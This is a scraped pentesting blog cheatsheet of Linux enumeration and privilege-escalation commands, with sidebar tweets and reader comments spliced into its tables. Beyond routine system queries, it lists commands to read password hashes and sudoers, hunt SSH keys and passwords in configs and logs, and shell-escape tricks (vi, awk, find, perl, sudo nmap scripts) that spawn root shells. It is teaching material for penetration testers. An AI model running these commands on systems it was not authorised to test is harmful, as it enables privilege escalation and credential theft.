Rebootuser

Local Linux Enumeration & Privilege Escalation Cheatsheet

Posted on June 3, 2013 by owen

1.4K

The following post lists a few Linux commands that may come in useful when trying to escalate privileges on a target system. This is generally aimed at enumeration rather than specific vulnerabilities/exploits and I realise these are just the **tip of the iceberg** in terms of what's available.

Revision 1.2 (Minor January 2017 update)

Kernel, Operating System & Device Information:

Command	Result

Follow @rebootuser 1,276 followers

TWEET TWEET

@Mail_Gun hey all, are there issues with the app atm?

1 day ago

Reply Retweet Favourite

RT @ryancdotorg: Happy Friday! There's a remotely exploitable vuln in the Exim SMTP server that yields root in the default config.… https://t.co/7o1u4wTNhX

5 days ago

Reply Retweet Favourite

`uname -a`	Print all available system information
`uname -r`	Kernel release
`uname -n`	System hostname
`hostname`	As above
`uname -m`	Linux kernel architecture (32 or 64 bit)
`cat /proc/version`	Kernel information
`cat /etc/*-release`	Distribution information
`cat /etc/issue`	As above
`cat /proc/cpuinfo`	CPU information
`df -a`	File system information

Users & Groups:

Command	Result
`cat /etc/passwd`	List all users on the system
`cat /etc/group`	List all groups on the system
`for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null`	List all uid's and respective group memberships
`cat /etc/shadow`	Show user hashes – Privileged

RT @douglasmun: A critical vulnerability was discovered in the Exim mail server. System admins managing Exim Internet mailer are ad… https://t.co/pGEKSpYFhg

5 days ago

Reply Retweet ★ Favourite

RT @defsecnsattack: Cheatsheet-God This is a collection of resources, scripts and easy to follow how-to's. I have been gathering (and… https://t.co/BvMe5ZxJCl

1 week ago

Reply Retweet ★ Favourite

RT @orange_8361: The last part of our Attacking SSL VPN series is out - The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as C… https://t.co/iNdb3zzCFg

1 week ago

	command
`grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'`	List all super user accounts
`finger`	Users currently logged in
`pinky`	As above
`users`	As above
`who -a`	As above
`w`	Who is currently logged in and what they’re doing
`last`	Listing of last logged on users
`lastlog`	Information on when all users last logged in
`lastlog -u %username%`	Information on when the specified user last logged in
`lastlog |grep -v "Never"`	Entire list of previously logged on users

User & Privilege Information:

Command	Result
`whoami`	Current username
`id`	Current user

Reply Retweet Favourite

RT @insecurity_ltd: Having issues with Windows Defender Tamper Protection on 1903? Interesting thread right here... https://t.co/v9EScmE41T

2 weeks ago

Reply Retweet Favourite

RT @mattifestation: Curious about what signatures Defender is flagging without alerting you? 1) MpCmdRun.exe -GetFiles 2) Extract cab 3… https://t.co/JwXBbt6mpY

2 weeks ago

Reply Retweet Favourite

RT @pimoroni: [sad music playing] It's the last giveaway, but... it's a Raspberry Pi 4 Starter Kit, Unicorn HAT HD, Fan SHIM, en… https://t.co/2IgSFychbu

2 weeks ago

<table>
<tr><td></td><td>information</td></tr>
<tr><td><code>cat /etc/sudoers</code></td><td>Who’s allowed to do what as root – Privileged command</td></tr>
<tr><td><code>sudo -l</code></td><td>Can the current user perform anything as root</td></tr>
<tr><td><code>sudo -l 2>/dev/null | grep -w 'nmap|perl|'awk'|'find'|'bash'|'sh'|'man'|'more'|'less'|'vi'|'vim'|'nc'|'netcat'|python|ruby|lua|irb' | xargs -r ls -la 2>/dev/null</code></td><td>Can the current user run any ‘interesting’ binaries as root and if so also display the binary permissions etc.</td></tr>
</table>

Environmental Information:

Command	Result
`env`	Display environmental variables
`set`	As above

Reply Retweet Favourite

RT @WWHackinFest: WWHF | October 23-25, 2019 Check out the "Catch Me If You Can – Seeing the Red Through the Blue" workshop at WWHF… https://t.co/jDQClq4oWV

2 weeks ago

Reply Retweet Favourite

RT @pimoroni: It's the penultimate day of shenanigans! Today, it's an amazing Enviro+ citizen science kit up for grabs, with enam… https://t.co/VqHR5Ud4MN

2 weeks ago

Reply Retweet Favourite

Follow @rebootuser 1,276 followers

LAST FEW POSTS…

`echo $PATH`	Path information
`history`	Displays command history of current user
`pwd`	Print working directory, i.e. ‘where am I’
`cat /etc/profile`	Display default system variables
`cat /etc/shells`	Display available shells

Interesting Files:

Command	Result
`find / -perm -4000 -type f 2>/dev/null`	Find SUID files
`find / -uid 0 -perm -4000 -type f 2>/dev/null`	Find SUID files owned by root
`find / -perm -2000 -type f 2>/dev/null`	Find GUID files
`find / -perm -2 -type f 2>/dev/null`	Find world-writeable files
`find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null`	Find world-writeable files excluding those in /proc
`find / -perm -2 -type d`	Find word-writeable directories

Recent Changes… July 25, 2018

Active Directory Delegation Dissected (Blackhat Webcast) May 21, 2018

IPv6 for Pentesters (BSides London Rookie Track Talk) June 12, 2017

Active Directory Delegation Slides (@camsec) January 31, 2017

IP, DNS & Domain Enumeration Cheatsheet January 5, 2017

LAST FEW COMMENTS…

dj-jatt on Local Linux Enumeration & Privilege Escalation Cheatsheet

Saraff on Vulnix (release 1.0) Solutions

get-vidmate.in on Secunia PSI 2.0 Beta – 3rd party patching and vulnerability scanner

`2>/dev/null`	
`find /home -name *.rhosts -print 2>/dev/null`	Find rhost config files
`find /home -iname *.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ;`	Find *.plan files, list permissions and cat the file contents
`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ;`	Find hosts.equiv, list permissions and cat the file contents
`ls -ahlR /root/`	See if you can access other user directories to find interesting files
`cat ~/.bash_history`	Show the current users' command history
`ls -la ~/.*_history`	Show the current users' various history files
`ls -la /root/.*_history`	Can we read root's history files
`ls -la ~/.ssh/`	Check for interesting ssh files in the current users' directory
`find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys"`	Find SSH keys/host information

punjabi status on Local Linux Enumeration & Privilege Escalation Cheatsheet

sp00ks on Vulnix (Vulnerable Linux) Release 1.0

CATEGORIES

- CamSec (1)
- Certifications (2)
- Cheatsheets (4)
  - Local Linux Enumeration & Privilege Escalation (3)
- in.security (1)
- Microsoft (11)
  - Exchange (1)
  - SCE (3)
  - Windows (7)
- Networking (4)
  - Cisco (3)
- News (5)
- Security (34)
  - Exploits (1)

`2>/dev/null |xargs -r ls -la`	
`ls -la /usr/sbin/in.*`	Check Configuration of inetd services
`grep -l -i pass /var/log/*.log 2>/dev/null`	Check log files for keywords (‘pass’ in this example) and show positive matches
`find /var/log -type f -exec ls -la {} ; 2>/dev/null`	List files in specified directory (/var/log)
`find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null`	List .log files in specified directory (/var/log)
`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} ; 2>/dev/null`	List .conf files in /etc (recursive 1 level)
`ls -la /etc/*.conf`	As above
`find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null`	Find .conf files (recursive 4 levels) and output line number where the word ‘password’ is located
`lsof -i -n`	List open files (output will depend on account privileges)
`head /var/mail/root`	Can we read roots mail

- Pentesting (9)
  - Metasploit (2)
- Security – Hardware (10)
  - Juniper (7)
  - Palo Alto Networks (3)
- Security – Software (3)
- Security Practises (2)
- Vulnerabilities (2)
- Vulnix (2)
- VulnVoIP (2)
- VulnVPN (2)
- Storage (3)
- SysAdmin (23)
  - Scripting (2)
- Tools (2)
- Uncategorized (1)
- Virtualisation (21)
  - VMware (21)

Service Information:

Command	Result
`ps aux | grep root`	View services running as root
`ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'`	Lookup process binary path and permissions
`cat /etc/inetd.conf`	List services managed by inetd
`cat /etc/xinetd.conf`	As above for xinetd
`cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null`	A very ‘rough’ command to extract associated binaries from xinetd.conf and show permissions of each
`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null`	Permissions and contents of /etc/exports (NFS)

Jobs/Tasks:

Command	Result
`crontab -l -u %username%`	Display scheduled jobs for the specified user – Privileged command
`ls -la /etc/cron*`	Scheduled jobs overview (hourly, daily, monthly etc)

`ls -aRl /etc/cron* | awk '$1 ~ /w.$/' 2>/dev/null`	What can ‘others’ write in /etc/cron* directories
`top`	List of current tasks

Networking, Routing & Communications:

Command	Result
`/sbin/ifconfig -a`	List all network interfaces
`cat /etc/network/interfaces`	As above
`arp -a`	Display ARP communications
`route`	Display route information
`cat /etc/resolv.conf`	Show configured DNS sever addresses
`netstat -antp`	List all TCP sockets and related PIDs (-p Privileged command)
`netstat -anup`	List all UDP sockets and related PIDs (-p Privileged command)
`iptables -L`	List rules – Privileged command
`cat /etc/services`	View port numbers/services mappings

Programs Installed:

Command	Result

`dpkg -l`	Installed packages (Debian)
`rpm -qa`	Installed packages (Red Hat)
`sudo -V`	Sudo version – does an exploit exist?
`httpd -v`	Apache version
`apache2 -v`	As above
`apache2ctl (or apachectl) -M`	List loaded Apache modules
`mysql --version`	Installed MYSQL version details
`psql -V`	Installed Postgres version details
`perl -v`	Installed Perl version details
`java -version`	Installed Java version details
`python --version`	Installed Python version details
`ruby -v`	Installed Ruby version details
`find / -name %program_name% 2>/dev/null` (i.e. nc, netcat, wget, nmap etc)	Locate 'useful' programs (netcat, wget etc)
`which %program_name%` (i.e. nc, netcat, wget, nmap etc)	As above
`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null`	List available compilers

`&& yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null`	
`cat /etc/apache2/envvars 2>/dev/null |grep -i 'user|group' |awk '{sub(/.*export /,"")}1'`	Which account is Apache running as

Common Shell Escape Sequences:

Command	Program(s)
`:!bash`	vi, vim
`:set shell=/bin/bash` `:shell`	vi, vim
`!bash`	man, more, less
`find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;`	find
`awk 'BEGIN {system("/bin/bash")}'`	awk
`--interactive`	nmap
`echo "os.execute('/bin/sh')" > exploit.nse`	nmap (thanks to comment by anonymous below)

`sudo nmap --script=exploit.nse`	
`perl -e 'exec "/bin/bash";'`	Perl

A special thanks to the following useful resources:

- g0tm1lk
- SANS Pentesting Resources

For a scripted version of these checks see https://github.com/rebootuser/LinEnum

Tweet

POSTED IN CHEATSHEETS, LOCAL LINUX ENUMERATION & PRIVILEGE ESCALATION, PENTESTING, SECURITY | TAGS: BASH, CHEATSHEET, COMMAND LINE, COMMANDS, ENUMERATION, LINUX, LOCAL, PENTESTING, PRIVILEGE | 18 COMMENTS

« VulnVPN (Vulnerable VPN) Solutions

Introducing LinEnum – Scripted Local Linux Enumeration & Privilege Escalation Checks »

18 thoughts on “Local Linux Enumeration & Privilege

Escalation Cheatsheet”

Pingback: LinEnum - Scripted Linux Enumeration & Privilege Escalation Checks

neilier says:

August 26, 2013 at 2:16 pm

hi,Than you for this article.That’d be totally awesome.

Reply

Pingback: PwnOS and Linux local privilege escalation | 0x776b7364

GURLAL SINGH says:

February 12, 2015 at 2:40 pm

GURU

Reply

Pingback: Linux Sistemler için Bilgi Toplama ve Yetki Yükseltme Kaynakları » BGA Security Portal

Pingback: Linux Enum & Priv Esc CheatSheet | Perplexsys nmap says:

July 22, 2015 at 5:26 pm

You can priv esc with the latest nmap using:

```
echo “os.execute(‘/bin/sh’)” > x.nse
sudo nmap –script=x.nse
```

Reply

hotbits777 says:

September 19, 2015 at 2:31 pm

You da man!!

Reply

abimbola says:

November 15, 2015 at 12:30 pm

nice article thank you very much

Reply

Pingback: LinEnum – Local Linux Enumeration & Privilege Escalation Checks – deSec.Zone waploft says:

April 4, 2016 at 8:13 am

Great Article

Reply

Pingback: Linux Nmap |

Pingback: My OSCP – PWK Review – Lazyhack3r

Pingback: My Homepage

Jaack says:

June 17, 2018 at 12:34 pm

Great Content. Keep up the good work.

Reply

Vidmatero0t says:

July 16, 2018 at 11:49 pm

Great Work man !

Reply

punjabi status says:
December 8, 2018 at 4:32 pm

its really great information Thank you sir And keep it up More Post

Reply

dj-jatt says:
January 12, 2019 at 3:12 pm

Nice article.Really it is informative

Reply

Leave a comment

Your email address will not be published. Required fields are marked *

Comment

Name *

Email *

Website

□ I'm not a robot

reCAPTCHA
Privacy - Terms

Post Comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.

CyberChimps WordPress Themes